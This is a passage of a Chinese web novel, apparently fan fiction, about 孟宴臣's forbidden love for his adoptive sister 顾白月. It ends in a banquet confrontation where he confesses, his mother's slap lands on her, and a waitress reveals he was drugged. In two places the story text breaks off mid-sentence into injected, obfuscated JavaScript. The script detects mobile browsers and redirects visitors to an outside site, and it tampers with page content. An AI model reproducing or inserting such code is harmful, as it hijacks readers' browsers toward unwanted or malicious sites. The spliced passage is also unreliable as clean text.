顾白月忧愁叹气:“听说那孩子小小年纪,天天被请家长,她爸爸妈妈又要忙事业,只能让爷爷奶奶去了。唉,要是我跟哥哥有了孩子,孩子再一个不小心,成绩考了个全班倒数第一,到时候只能麻烦妈妈去开家长会,听老师训话了。” ——她只顾着劝解付闻樱,一时不察,字里行间出了纰漏。 付女士多爱面子啊,她才不愿意成为别人茶余饭后的笑柄,若是作为倒数第一参加家长会,简直公开处刑。 顾白月得意洋洋地翘了翘嘴角,朝孟宴臣盈盈一笑:哥哥看到没,跟妈妈就不能硬碰硬,做孩子的撒个娇服个软,父母还能真拿刀架脖子上逼儿女就范啊。 孟宴臣不知为何有些怔然,脸上逸出清清浅浅的哀愁,只是这哀愁还未凝聚成形,就风流云散,湮没于眼底。 他缓缓地,慢慢地朝顾白月笑。 小时候凉亭对弈,他从来赢不了她,她也赢不了他。 她的围棋路数是他手把手教的,他们太过熟稔,太过了解,下棋时宛若左右互搏,彼此洞悉。 所以啊…… 所以,她永远知道他下一步会做什么,永远知道怎么瞒过他的眼睛…… 可是,没关系。 她不想让他知道,他就装作不知道。 无非是在深深的即将溺毙的愧怍之中,背负更多罪愆,无非是内里心如刀绞,表面淡然自持…… 他可以做到的。 皎皎你看,为你搭戏那么多次,终究还是有些用处的。 他忍着锥心刺骨的疼,平平常常地望向她。 皎皎依偎在妈妈身边,软乎乎地同她讨价还价。 该说是一物降一物吗?她似乎总有办法四两拨千斤,三言两语,就能让强势的妈妈退让。 他如今还有什么好奢求的呢,她还愿意回来,她还肯跟他斯抬斯敬,做一对和和气气的兄妹,已然是侥天之幸。 太过贪心是一种孽障。 罪徒孟宴臣知错认罚,他再也不敢越雷池一步了。 孟宴臣(四十一) 今日有风雪,从铅灰色天空一层层抛洒下来,宛若银珠溅玉。 孟宴臣犹豫片刻,终究还是取下那件黑白千鸟格驼绒大衣,罩在白衬衣和黑西装外面,由镜子里望去,果然温润谦和,有种墨香古砚里浸泡出来的书卷气。 昨天奢侈品店的工作人员来送货,孟宴臣随便试穿了几件,这一身最得皎皎青眼,她同他玩笑:“哥哥看起来像大学生一样,朝气蓬勃,清爽干净,多好看啊。” 楼下客厅里,顾白月正陪付闻樱一起编红绳,原本这些过年的装饰物可以交给家政阿姨,是顾白月有意缓和家里氛围,特意找个由头同孟怀瑾和付闻樱谈心。 孟宴臣拾级而下,顾白月偶然抬头。 “哥哥,早上好。” 仿若宿命般地对视一眼,浮光掠影,之后不动声色,各自轻轻巧巧地避开目光。 她穿着浅紫色棉旗袍,衣领袖口镶嵌着一圈儿软乎乎的绒毛,结着几粒精致繁复的琵琶扣,手腕上套了一只水头极足,莹透润泽的羊脂玉镯。 应该是妈妈为她挑选的衣服和配饰,付女士的审美向来偏于典雅天然,婉约得体。 皎皎这么穿自然是极为昳丽,宛若清水出芙蓉,高洁出尘,——应该说她无论穿什么衣服都格外出色。 疲于奔命的人,仿佛是没有机会彻底闲下来,即便是一年将尽,已经能嗅闻到空气中烟花爆竹的气味,也要不停处理各种琐事。 “等等。” 见孟宴臣打过招呼就要出门,顾白月从衣架上拿起一条围巾追过去,“今天刮北风,冷得很,哥哥穿暖和一点。” “好。”孟宴臣将围巾接过来,一圈圈缠在脖子里,深灰色映衬得他眉目疏离,心甘情愿地俯首披上一层枷锁。 顾白月怔怔地望着孟宴臣叹息,所以她才不想让他面对这一切啊,知道她受到伤害,他总是会比她还痛苦…… 尤其,这伤害还是他一手造成的。 只是,很可惜,她好像并没有成功地瞒天过海。 皎皎站在面前发呆时,孟宴臣便半垂眸子,静悄悄收敛双目里的悲凉,由始至终不曾抬头瞧她一眼。 ——他望她的眼神总是不够清白,爱·欲纠缠,孟宴臣自己也知道,所以从不敢在人前认真看她,习惯性地克制隐忍。 他方才故意选这一身顾白月最喜欢的衣物,已经表现得太过露骨,不宜再有别的举动了。 一片雪花落在顾白月脸上,她鼻尖微红,嗓音软糯之中带着丝丝酸涩,勉力微笑:“总感觉我的小妖怪又要出去打群架了……哥哥,记得保护好自己啊,不要被其他猫猫的爪子伤到,平平安安地回家。” 你看,他们之间就是这样,目光仅仅蜻蜓点水般短暂停驻,也能洞悉对方的一切。譬如现在,孟宴臣为了报复那些设计陷害他的人,大刀阔斧地改造国坤集团,以奇军突起之势,逼得对手公司损城失地,利益腰斩。 狗急跳墙,那群丧家之犬试图联合其他散兵游勇,发起对国坤的总攻,火力点之一便是孟宴臣,毕竟他可是孟怀瑾和付闻樱唯一的儿子。 孟宴臣的处境很危险,他清楚自己做得这一切,确实贪功冒进,急于求成,必然成为群矢之的,可谓四面楚歌。 风险固然很大,可是一旦顺利翻盘,就能逼得对手公司自断一臂,缩减将近五分之二的市场份额,而他也能摆脱头顶孟怀瑾和付闻樱的光环,切切实实将国坤握在手里。 如此背水一战,他必然要让那些人自饮苦果。 这样的事他自然不会告诉皎皎,可皎皎还是猜到了。 他是如此了解她,她也是如此了解他…… 多么悲哀。 可这悲哀之中又隐藏着甜蜜,让人不停地饮鸩止渴。 孟宴臣离开后,顾白月看了看貌似老神在在,端坐钓鱼台的孟怀瑾,又瞅了瞅沉稳端庄,八风不动的付闻樱,特意重重地叹了一口气,厚着脸皮假哭: “唉,哥哥去参加什么联盟商会了,也不知道那些人会不会合起伙来欺负他,呜呜呜,哥哥是个没人疼没人爱的小可怜……” 她开火车一样呜呜了好半天,付闻樱无奈地瞥过来,“行了,没看你爸爸穿着外出见客的衣服吗?” 顾白月牌小火车一脚急刹:“嗳?” 孟怀瑾将报纸叠好,对妻子摇头失笑:“说好了我晚一会儿到,好让宴臣吃点教训,结果连我看完一条财经新闻的时间都等不了,你啊你,总是这么嘴硬心软。” …… 顾白月参加完春晚彩排,迎着霏霏细雪回到家里,孟怀瑾夫妇出门去朋友的温泉酒庄了,这会儿家里只有她和付泽生。 两人不甚相熟,没什么共同话题可聊,顾白月同他礼节性问好,径自去了与客厅相连的茶室。 房间里暖气开得足,顾白月只穿了一件中国风的米白色毛衣,上面用红绒线勾出折枝梅花,稍稍露出一点内搭的衬衣领,袖口开出喇叭一样的花边,显得人气色很好,有新年时节的喜庆。 她从抽屉里拿出之前准备好的檀香,沉香,冰片,以及两只香梨,将一只闲置的小火炉点燃,拴了瓦罐吊在上面。 趁着煮水的空档,顾白月用石轮将檀香再细细碾了一遍,拿干净的纱布慢慢过滤,放在小碟子里备用。 接下来要处理香梨…… “皎皎在制香?”付泽生不知道什么时候走了过来,他歉然一笑,“不好意思,我一个人坐着太无聊了,就想过来跟你说说话,打扰你了吗?” 好歹也是妈妈娘家那边的亲戚,又抬头不见低头见地在家里住着,顾白月当然不会让人难堪,“没有呀,我就随便捣鼓几下,反正闲着也是闲着,你请坐。” 付泽生很懂分寸,他选了一个距离顾白月较远的位置,完全不会让人有受到冒犯之感,温声闲谈:“你在做……李后主帐中香?” 他迟疑着问。 顾白月有点讶然:“是,不过大家都喜欢叫它另一个名字,鹅梨帐中香,我也更喜欢这个名字,感觉怪可爱的,电视剧里也是这么叫,你不看清宫剧吗?” 付泽生有点发窘:“其实我小时候在国外待了很长一段时间,关于祖国的传统文化,大多都是从书本上获得的,刚回来那一阵,经常闹笑话,被人说是书呆子。后来朋友专门帮我下了软件上网,我那会儿一天到晚抱着手机刷短视频,眼睛都近视了。” 他说得很真诚,甚至不惜自曝其短,顾白月听着也觉得有些好笑,正在这时,玻璃窗外的黯淡夜色中,缓缓浮现一抹修长身影。 是孟宴臣站在那里,不知看了多久,身上染了风霜,雪粒子一点点将他黑发打湿,软塌塌地服帖下来。 俨然风雪夜归人。 顾白月想也不想,提着裙摆跑出去唤他,“哥,你快进屋啊,站这儿小心感冒!” 孟宴臣跟在身后,沉默地随她走进房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实最初是季如兰喜欢兰花,季如兰病故之后,顾白月就移情于兰花,而他是本能地热爱着她热爱的一切。 …… 大年三十这天晚上,顾白月在舞台上翩然起舞,远远望去,翩若惊鸿,婉若游龙,仿佛兮若轻云之蔽月,飘摇兮若流风之回雪,盈盈似云中白鹤,皎皎如惊鸿秋月。 周围掌声雷动,人人都在发自内心地赞叹,这一刻,顾白月彻底展露了她的光芒,水袖翻飞,裙角荡漾,牵动心底一圈又一圈的涟漪,惊艳了荧幕前千百万观众。 谢幕之后,顾白月卸妆换衣服,坐在专门给她留的位置,一左一右分别是孟宴臣和付泽生。 大约是觉得他们这一桌颜值亮眼,连镜头都十分偏爱,悄悄扫过来好几次。 孟宴臣轻轻问顾白月:“方才那支舞叫做什么?”之前去看皎皎跳舞,每一次都是生离死别的悲剧,他不信邪,他不信他对她,就只能这般爱而不得,寤寐思服。 顾白月腮凝新荔,梨涡浅浅,定定地看着他笑:“它叫《丰年祈》,是祈盼五谷丰登,福绥安康的酬神舞,听闻观者诚心所求,必有所得。” 所以啊…… 哥哥,开心一点吧。 愿神明垂怜,庇佑我哥哥,庇佑他成为一只九条命的小妖怪,庇佑他百福具臻,吉祥止止…… 孟宴臣(四十二) 城郊有一座普济寺,日常香火不断,逢年过节更是格外热闹,因为燕城人有“抢头香”的习俗。 趁着年节赋闲在家,孟怀瑾夫妇想带一家人去爬山,两人沿着石阶走在最前面,孟宴臣顾白月和付泽生落后一步,许沁一个人缀在最后面。 也不知道该说是良缘,还是孽缘,许沁在市医院上班后,与担任十里台消防站站长的宋焰重逢,两人莫名其妙地搞在一起,旧情复燃,干柴烈火,在孟怀瑾出去的玫瑰苑房子里好一阵寻欢作乐。 付闻樱撞破此事,态度强硬地要求许沁跟宋焰分手,奈何许沁油盐不进,为了一碗白粥差点将付闻樱气进医院。 大概是害怕面对养父母的指责,之后许沁就躲到宋焰舅舅家,不愿意回家过年。 孟怀瑾一向不会直接插手两个养女的私事,都说女大避父,何况是没有血缘关系的养女,他心里捏着一杆秤,一般的小事都是交给付闻樱操持。 但这回的事显然触及孟怀瑾底线,恋爱上脑,顶撞养母,别说许沁宋焰两人没有正式确定恋爱关系,就算是马上要谈婚论嫁了,一个女孩没名没分地住在男人亲戚家里,算怎么回事? 孟怀瑾亲自出马,将许沁带回家里,隐晦地提点她,女孩子要懂得自尊自爱。 许沁的表情又冷又臭,全程耷拉着一张脸,毫无过年该有的开心和喜庆。 一阶,两阶,三阶…… 孟宴臣和顾白月并肩,顺着蜿蜒山路,慢慢往山顶行去,路上积着薄薄一层雪,毛绒绒地覆在青石上。 石缝里露出一点新绿。 顾白月很开心地跟孟宴臣分享:“哥,你看,那里有一株小草。” 真是好旺盛的生命力,夹缝之中也能生出希望。 普济寺的严一法师认识孟怀瑾,见面就笑呵呵地问好,说了几句吉祥话,又端详着孟宴臣脸色,“小孟总越发清俊了,果然青出于蓝而胜于蓝。” 付闻樱很客气:“这孩子什么都好,就是性子冷了点。” 严一法师脸颊丰润,慈眉善目,笑起来极为和蔼,有点看晚辈的温暖包容,“我看小孟总红鸾星动,怕是好事将近了,姻缘线分明紧紧缠在手腕上,就是欠缺了一点时机。” 这话说得讨巧,真是专往付闻樱痒处挠,付闻樱也很给面子:“正想请大师帮帮忙,请几道佛前供奉过的姻缘符。” 孟怀瑾和付闻樱跟着严一法师,去了内殿,顾白月见那莲座上的观音,法相庄严,温和慈爱,上前奉了一炷香,又问孟宴臣:“哥哥,你不拜一下吗?” 孟宴臣今天一路都很沉默,他近来落落寡合,神思不属,唯独在顾白月面前还有一些鲜活气儿,其他时候都如冰雕雪塑一般。 他缓缓摇头:“我不拜。” “为什么?” 孟宴臣望进她眼底,“我所求之事,神仙也无能无力。” 顾白月的心像被针尖扎了一下,她难过地戳了戳他,小声说:“那我把我的祈愿机会给哥哥。” “皎皎祈求什么?” 她牵强地抿唇一笑,“祈求你平安喜乐。” 付闻樱兴冲冲地去请姻缘符,这姻缘符也分很多种,有个人佩戴的姻缘符,作用类似于桃花符,也有必须同时使用的双符,听说最有效力的便是阴阳双符,未婚男女各持一枚,必定心有灵犀,婚事顺遂。 无奈这几天来山上的人太多,且半数以上是夫妻或情侣,姻缘符只剩下两枚单符,实在匀不出来别的。 付闻樱有些失望,家里三四个孩子呢,两枚可不够用,她原本打算至少请两组,一组分给顾白月和付泽生,一组分给孟宴臣和郑青青。 这都是她千挑万选,费心给儿女们谋划的好亲事。 严一法师别无他法,只好端来了一些平安符长寿符,“送不了好姻缘,拿去给小辈添福添喜也是好的。” 抱着装了各种符箓的小匣子往外走时,孟怀瑾问:“那两枚供奉过的姻缘符,你打算给谁?” 四个孩子都在外面玩呢,虽说请了十几枚符,谁都不会落空,但究竟是给佛前精心供奉过的姻缘符,还是做工稍显粗劣的普通平安符,这都是有讲究的。 付闻樱往外看了一眼,蓝天白云,清风应和,孟宴臣和付泽生长身玉立,萧萧肃肃,满身斯文矜贵之气,皎皎更是瑰姿艳逸,即便戴着口罩,也引来无数觊觎的目光,还有人犹犹豫豫地过来问她是不是明星…… 至于许沁,不提也罢,瞧着她那一副受人胁迫,不得不劳燕分飞的怨妇样,真是晦气。 付闻樱想也不想,直接说:“姻缘符当然要给宴臣和皎皎,阿生那边,送一枚平安符吧,再没有先是外人后是自己的。”注1 大殿外面有小和尚支着摊子,售卖素桃酥和萝卜糕,说是吃了能够延年益寿,其实不过讨个好彩头。 顾白月挤过去买了一些,出来分给大家吃,几人正说笑着,冷不丁遇到了熟人,有人远远就大声打招呼:“皎皎!” 原来是王雨润隔着老远瞅见了顾白月,还笑话她:“当了明星是不一样嗳,瞧瞧你,走哪儿都跟顶着个大光相似的。” 她身旁跟了一个高大魁梧,金发碧眼的冷白皮帅哥,脸上还带着一些青青紫紫的瘀痕,应该是被王雨润那位暴躁老哥打的。 顾白月打趣地瞅着他俩笑:“会发光的是LED,放心,我可不当电灯泡碍你的眼。” 王家人出来游玩,来得也挺齐全,小纸鹤被奶奶齐翠萍牵着手,蹦蹦跶跶地跳上台阶,脆生生地喊:“月亮姐姐,你在等小纸鹤吗?” 真是个可爱的小姑娘。 小纸鹤活泼爱动,缠着顾白月扭来扭去,顾白月喂她吃了一小块萝卜糕。 萝卜糕甜软可口,小纸鹤吃完还想要,顾白月怕她吃多了肚子难受,坏心眼地吓唬人:“好吃吗?——这糕糕是萝卜做的,吃多了放屁。” “小纸鹤不放屁……”小姑娘六七岁了,正是最爱面子的时候,脸皮薄,听了这话怕大家笑话她,有些害羞地往顾白月身后躲。 旁边就是石阶,小纸鹤揪着顾白月衣袖,仰头跟她说话,脚下不慎踩空了都不知道,吓得一圈大人纷纷变色。 “小心。” 一只软韧修长,清瘦干净的手横伸过来,稳稳地扶住小纸鹤,另一只手护在顾白月身后,孟宴臣俯身匆匆追问她:“皎皎你怎么样,伤到了吗?” 小孩子玩闹起来不知轻重,若是带着顾白月一起滚落下去,两人估计都要破相,大过年的见血光,多不吉利。 他的神态太过急切,语气里显露了本该深藏的爱怜,没有谁家哥哥会这般宠溺偏执地看向妹妹,深深情意,遮都遮不住。 有时候,人潜意识的反应能够暴露很多问题。 空气有一瞬间静默。 “哎呦,你这孩子……” 齐翠萍率先打破窒息的氛围,将小纸鹤揽在怀里,半真半假地教训着打了一巴掌,又觑了觑付闻樱难看的脸色,只能揣着明白装装糊涂,笑呵呵地打圆场:“还是闻樱你有福气,瞧瞧你这俩孩子,和和睦睦,跟亲兄妹似的,不像我们家老大跟小雨,天天乌眼鸡一样斗个没完没了。” 付闻樱勉强挤出一丝笑,应付着说场面话:“我看你的福气也不错,雨润旁边这位是她男朋友?小伙子蛮精神。” 那金发碧眼的外国帅哥名叫丹尼尔,被王雨润提醒着,意识到付闻樱在夸他,用蹩脚的普通话说:“谢,谢谢。” 那边孟宴臣和顾白月相互搀着,双双起身,见顾白月衣服下摆沾了落叶,孟宴臣细心地抽出西装外套里的方巾,轻轻拂去了。 顾白月冲他暖暖一笑:“谢谢哥哥。” 丹尼尔看得瞠目结舌,悄悄问王雨润:“你们中国人,流行喊情郎哥哥?” 王雨润:“……对。” 眼见着众目睽睽之下,女儿跟那外国佬交头接耳,齐翠萍心里噎得慌,没好气地瞪了王雨润一眼,掏出几分真心跟付闻樱说:“别提了,我跟她爸爸说过多少遍了,随你出国留学也好,闲得无聊自己做生意也好,只一点,就是不准跟外国人谈恋爱,尤其不能动真格的,结果你瞧瞧……” 她摇头叹气:“前两年小雨她表姐也是这样,说是外调出国,开拓完国际市场就回来,谁知道喜欢上一个法国人,直接在那边定居了,小雨舅舅舅妈哭得死去活来,唉,要我说,女儿还是嫁得近一点好,万一受了欺负,咱们当爹当妈的还能撑撑腰。” 付闻樱听得若有所思。 齐翠萍微微一笑,功成身退,说得太多反而露了行迹,适得其反。 皎皎是个好姑娘,又跟她女儿交情甚笃,平常没少帮衬他们家,宴臣呢看着冷冽了些,其实为人处世一点毛病挑不出,刚才还护住了小纸鹤。 这人情,他们王家认。 …… 很快到了正月十五这一天,付闻樱给家里所有厨娘甜点师等放了假,说是在月海居订了房间,晚上出去吃,还特意要求几个孩子认真拾掇一下自己,到时候有客人在,别失了礼数。 孟家和付家都是大家族,亲戚旁支数不胜数,再加上两家生意场上的合作伙伴,这些天家里就没安静下来过,天天迎来送往,门庭若市,顾白月他们也都习惯了。 谁知去了月海居才察觉到不对劲,一个超大的房间,立着双面异绣屏风,正面是一簇 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六支锦盒,两支红色,两支绿色,另有一黄一白,很明显其中两对是情侣款。 孟宴臣死死捏着杯子,指节隐隐浮现,一口接一口不停喝酒。 紧绷的膝盖忽然落下一抹柔软,他垂眸望去,一只纤弱白皙的手,淡粉柔软如花瓣,手背肌肤吹弹可破,凸显出黛青色血管。 他松开酒杯,默默攥住那只手。 他与她,在众人看不到的地方,十指相握。 有服务员推门走进来,放下一瓶红酒,躬身退缩在角落里的屏风边,侧脸瞧着有些眼熟。 那天顾白月从泰和公寓离开后,特意找过保安李平安,从他那里要来了楼道里的监控,她知道是谁给孟宴臣下了药,也知道那人曾在湾流做过服务员。 付闻樱显然不知道这一切,她依次将不同颜色的星空表递出去,温声询问那长发女孩:“青青喜欢吗?” 郑青青笑意端庄得体:“喜欢,谢谢阿姨。” 顾白月怕噩梦重演,悄声跟孟宴臣说明了自己的发现,忧心忡忡道:“我已经偷偷通知警方了,不知道他们多久能赶到,千万别为了抓这个坏人,搅合了妈妈辛苦筹办的宴会。” “宴臣。”付闻樱笑着唤儿子的名字,“郑伯伯郑伯母夸你年少有为呢,快别愣着了,赶快敬你郑伯伯郑伯母一杯,谢谢他们的提携。” 孟宴臣深深吸了一口气,他怀疑自己今天领带系太紧了,勒得人快要窒息,酒意腾腾,浑身醺然,他侧首将眸色静静投放在她身上。 皎皎害怕时,总是不自觉轻咬唇角,长眉浅蹙,那双本该潋滟生辉的眼睛,此时却含着愁云惨雾。 他认真地对她说:“不会有其他人搅局……” ——因为在此之前,我会先掀了桌子。 付闻樱不悦地催促:“宴臣,你郑伯伯郑伯母还等着呢。” 孟宴臣缓缓起身,在众人讶异不解中,忽而轻轻一声嗤笑,他高高举起酒杯,神色恍惚,偏偏眸光格外疯狂,一一扫视众人。 然后,他轻轻巧巧地翻转手腕,将一大杯红酒,淋淋漓漓地,全都泼洒在那道以玫瑰花为主料的“十里红妆”上。 孟怀瑾和付闻樱都惊呆了,“孟宴臣,你要干什么?!” 他露出一个恶意满满,挑衅味十足的笑,“抱歉妈妈,恕我不能再继续服从您的命令……” 顾白月似有所觉,忍下满腹惊涛骇浪,站起来去拉他:“哥哥……” 孟宴臣看着她笑,虔诚地说:“别怕,皎皎,别害怕……” 不等顾白月再说什么,迎着满室惊诧目光,孟宴臣神色惨然,一字一顿,嗓音近乎凄厉:“我谁都不会娶,我不配!不要再将无辜之人牵扯进来了!——承认吧,妈妈!承认您的失败,承认您的儿子就是一个每天觊觎妹妹,肖想妹妹,卑劣恶心的无耻变态!” 付闻樱听得咬牙切齿:“孟、宴、臣!你知不知道你在说什么?你要毁了皎皎,毁了你自己吗?!” “您已经毁了我……”他红着眼睛,失控般大声质问,“所有人都知道皎皎不姓孟,所有人都知道我们没有血缘关系,如果阿生可以的话,为什么我不行?!我就是喜欢皎皎,我就是爱皎皎,怎么了?!” 付闻樱险些昏厥,她从来没有这么失态过,抛下一切颜面和仪态,冲过去狠狠甩了一巴掌。 “啪——” 手掌落在顾白月脸上,霎时浮现一片鲜红印记,不知道是太过疼痛,还是心中酸疼委屈,她顷刻泪落如雨,带着哭腔,抽抽搭搭地说:“妈妈,不要打哥哥,求您了……” 孟宴臣(四十三) 没人预料到顾白月会挡在孟宴臣前面,等付闻樱想收手时,已经来不及了,她错愕出声:“皎皎……” 即便只是养女,但顾白月在孟家这些年,可谓颇受宠爱,家里上上下下那么多人,没谁舍得动她一根手指头,付闻樱再怒气上头,所思所想也是怎么教训儿子,万万没想过伤害顾白月。 一场聚会演变成这样的家庭混战,旁边郑家夫妇顿觉如坐针毡,勉强说了几句场面话,就要带郑青青告辞。肖家父母同孟家关系近,肖亦骁撺掇着母亲任小荷上前劝架,一家三口摩拳擦掌,等待时机。 郑青青格外兴奋,抱着椅背坚决不肯走,“别啊,这可是活生生的现实骨科,还是如此仙品,不磕白不磕,刚才我就说他俩绝逼有一腿,你们还偏不信。” 郑家夫妇听她这般口无遮拦,不禁低声斥责了几句,郑青青道:“行了爸爸妈妈,眼看这相亲局是黄的不能再黄了,我还装什么淑女?” 那边,顾白月顶着一大片触目惊心的红肿,哭着对付闻樱说:“妈妈,您上次已经打过哥哥一次了,如果还是不解气,那就打我吧。” 母亲冲过来准备掌掴他时,孟宴臣眼睫毛都未颤动一下,可是看到巴掌落在顾白月脸上,他却像被滚烫的热水烫了心尖,伸手抚了一下女孩细嫩脸颊,满目痛惜,“皎皎你让开,这些是哥哥应得的。” “不,不要……” 顾白月意外地固执,她半侧着身子护在孟宴臣前面,将母子两人隔开,哀哀望向孟宴臣,眼神湿漉漉的,宛如一只被雨水打湿了羽毛的可怜翠鸟,“以前我总是不明白,哥哥明明对我那么好,为什么一再抵触我做孟家养女,为什么厌恶孟贺卿这个名字,每听一次都要黯然神伤……” 泪水大滴大滴地滚落下来,那双漂亮的桃花眼此时红通通,顾白月一瞬间想通所有前因后果,她轻声呢喃:“对不起啊,哥哥,爱上我这么迟钝的人,一定让你吃尽了苦头吧?没能明白你的心意,却厚颜无耻地以妹妹的名义享受一切,皎皎真的好坏啊。” 恍若胸口正中一箭,孟宴臣摇摇欲坠:“不,皎皎,永远不要对我说这三个字,该说对不起的人是我,哥哥有罪,悖逆人伦,喜欢上了自己的妹妹……” 许沁眼皮一跳,表情复杂地看向孟宴臣,她知道这个“妹妹”指的不是自己,可还是因为这句话出自孟宴臣之口,忍不住怦然心动。 付闻樱气得浑身发抖,口不择言:“喜欢?喜欢是什么东西,能当饭吃吗?你们以为妈妈愿意当恶人,我难道不希望一家人和和睦睦,团团圆圆吗?” 她看向失魂落魄的两人,也不自觉红了眼睛,这都是她的孩子们啊,她怎么忍心他们受到伤害。 “宴臣,你十五岁的时候,不知从哪儿跑来一只流浪猫,特别喜欢黏着你,你放学回家就告诉我说你想养它,反反复复说了三天,妈妈告诉你不行,你后来不也平静接受,从那以后再也没提及过养猫吗?还有你十六岁那年,长辈送了骁骁一只可爱的博美犬,你当时看得眼睛都直了,虽然嘴上不说,但是妈妈知道你很喜欢,最后还不是因为学习任务繁重,应接不暇,自己主动放弃养狗吗?” 付闻樱细细列举往事,桩桩件件,如数家珍,“所以你们看,喜欢是会磨灭的,它的保质期太短太短,妈妈不想让你们拿一辈子的亲情去赌。普通情侣可以磨合,可以分手,但你们呢?孟宴臣你想过没有,假如你们真的冲过重重阻碍,坚持要在一起,万一有一天感情破裂,皎皎就彻底没有家了!” 孟宴臣抬手理好顾白月耳边乱发,注视着女孩时,眸色雾沉沉的,阴暗偏执,像虔诚的信徒顶礼膜拜,膝行着一步步献祭自己的生命。 “前几天去普济寺时,我一路都在想,我该怎么办啊,我的皎皎以后该怎么办啊。从山脚到山顶,一共两千三百二十七个台阶,我每走一层台阶,都在告诫自己,收起觊觎之心,我走了一路,忍了一路……” “我以为我能成功的,可是当我登到山顶,看到莲花座上的法相,我却只能深深低头,始终不敢抬头看观音。” 世人得爱,如入火宅。 这,这种眼神…… 付闻樱心底咯噔一跳,看得头皮发麻,恨声警告他:“孟宴臣!” “妈妈……” 他轻轻唤付闻樱,语调喑哑,带着浓浓自嘲意味:“您还真是一点都不了解,您知道我为什么后来再也不喜欢小猫小狗了吗?” “别说,哥哥,不要说……”顾白月知道为什么,但她不能说,更不能眼睁睁看着孟宴臣说出来,她揪着孟宴臣衣角,不停地冲他摇头,整个人都在瑟瑟发抖,顾白月知道如果孟宴臣主动说出极力隐藏的一切,他就彻底毁了。 “没事的,皎皎,让我承担我的罪孽……” 孟宴臣表情凄然,陷入回忆,“那时候我确实好喜欢好喜欢那只流浪猫啊,可是妈妈说不行,它太脏了,不能养,我难过得吃不下去饭,是皎皎过来唱歌哄我,还用毛线给我编了一只丑丑的小猫,我低头看着皎皎,看着看着,忽然发现……” 他紧紧握住顾白月的手,仿佛要从上面汲取力量,“我忽然发现,皎皎的眼睛又黑又亮,比猫瞳还要晶莹,也是那一年过生日,皎皎送了我一只玩偶猫。我那时就告诉自己,没关系的孟宴臣,妈妈不让你养小猫也没关系,——因为你已经拥有世界上最漂亮乖巧的一只小猫了,做人不可以太贪心的。” “十六岁的时候,妈妈您说小狗会咬人,不让我们跟那只博美犬玩,我就安慰自己,没关系,我有皎皎啊。十七岁的时候,生物老师带我们去参观蝴蝶展,接待员说世界上色彩最斑斓最漂亮的蝴蝶叫金斑喙凤蝶,通常在云南附近,我在心底反驳他,不是的,皎皎才是最美最漂亮的蝴蝶……” “妈妈,需要我继续说下去吗?”孟宴臣看向付闻樱,挟着一丝嘲讽之意,“您看,您的儿子多么恶心,多么卑劣,他将一切求之不得,一切贪欲妄念,全都寄托在皎皎身上,他真该死,是不是?” 付闻樱如遭雷劈,难以置信地含泪道:“你对一个母亲说出这种话,你是要诛我的心吗?!” “您又何曾给我留一点生机?!”孟宴臣毫不退让,几乎歇斯底里,“十年前,您让皎皎改姓孟,让她做我们家的养女,做我孟宴臣的妹妹,我答应了!十年后,我甚至不敢奢望别的,只要还能维持现状,只要我还能跟皎皎朝夕相见,我就可以继续忍下去!我可以一辈子守着兄妹的底线,我不结婚,也不许皎皎结婚,只有我们俩,一点点变老,一点点死去。是您,明知道我的软肋在哪里,还坚持让皎皎嫁人,是您,扯下了我最后一块遮羞布!” 越是亲近之人,越知道怎么相互伤害,所说的每一句话都精准无误地往死穴上戳,付闻樱引以为傲的端庄仪态,此时荡然无存,“你对皎皎动心的时候她才多大?成年了吗?就算时至今日,你就那么确定皎皎能分得清亲情和爱情吗?你把这一切坦白剖析出来,难道不是仗着二十年相处的情谊胁迫她吗?” 她终究恐惧两个孩子误入歧途,“孟宴臣,你怕不怕有一天皎皎幡然醒悟,明白她对你只有对兄长的信任依赖,然后再跟另一个男人相知相爱,你怕不怕她到时候恨你?” 你怕不怕她恨你…… 孟宴臣骇然变色,这些话无疑命中他心底最深处的梦魇,他忧惧到不敢直视顾白月水润润的眸子,只慌慌张张地去拉顾白月手腕,嗫嚅着同她商量: “皎皎,我们走,我们不要再待在这里了好不好,你不是欣赏‘林下清风’吗?我们这就去看她的画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9460918|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展,你喜欢哪一幅,我们就买哪一幅,全都买下来也可以,就摆在你最爱的那一套宴山月的园林里……” 他想带着顾白月逃离,孟家也好,付家也好,他统统不要了。可是顾白月阻止了孟宴臣的动作,站在那里纹丝不动。 “皎皎……” 孟宴臣的心一片片破碎,他小心翼翼护了那么久的姑娘,终究还是不堪忍受他的肮脏野望,“你,要厌恶我了吗?” “当然不。”顾白月永远知道怎么挽救他,永远知道怎么抓住即将跌落深渊的孟宴臣,她视线清凌凌的,太过纯净无暇,“哥哥,你在讨好我吗?” 顾白月反手握住孟宴臣,神色那么笃定自然,“哥哥,永远不要讨好我。” “你是孟宴臣,你是我顾白月的哥哥,我要你永远灿烂,永远骄傲,永远高高在上!你可以送我任何礼物,豪车也好,名表也好,宴山月的房子也好,随你高兴,但我希望你明白,送礼物的人,要和收礼物的人拥有同样轻松快乐的心境。” “你无须讨好我,因为顾白月会一次又一次地选择孟宴臣,永不弃你!” 正在这时,角落里的服务员忽然出声,她像看自己的所有物一般,狂热地看向孟宴臣,“原来是她,那天晚上的人是她!我真蠢啊,之前竟然没看出来你喜欢的人是自己妹妹,所以帮你缓解催|情药的人,也是她?!” 肖亦骁本就为两个好友操碎了心,一看那服务员,顿时膈应不已:“妈的,怎么哪哪都有你,有你什么事你就瞎掺和?!” 然而付闻樱已经意识到不对劲,她急声追问:“你说谁中了催|情药?” 叶子古古怪怪地笑了,“当然是您儿子啊,听说孟董和付董只有孟宴臣一个继承人,不知道您两位愿意出多少钱,买他的黑料呢?” 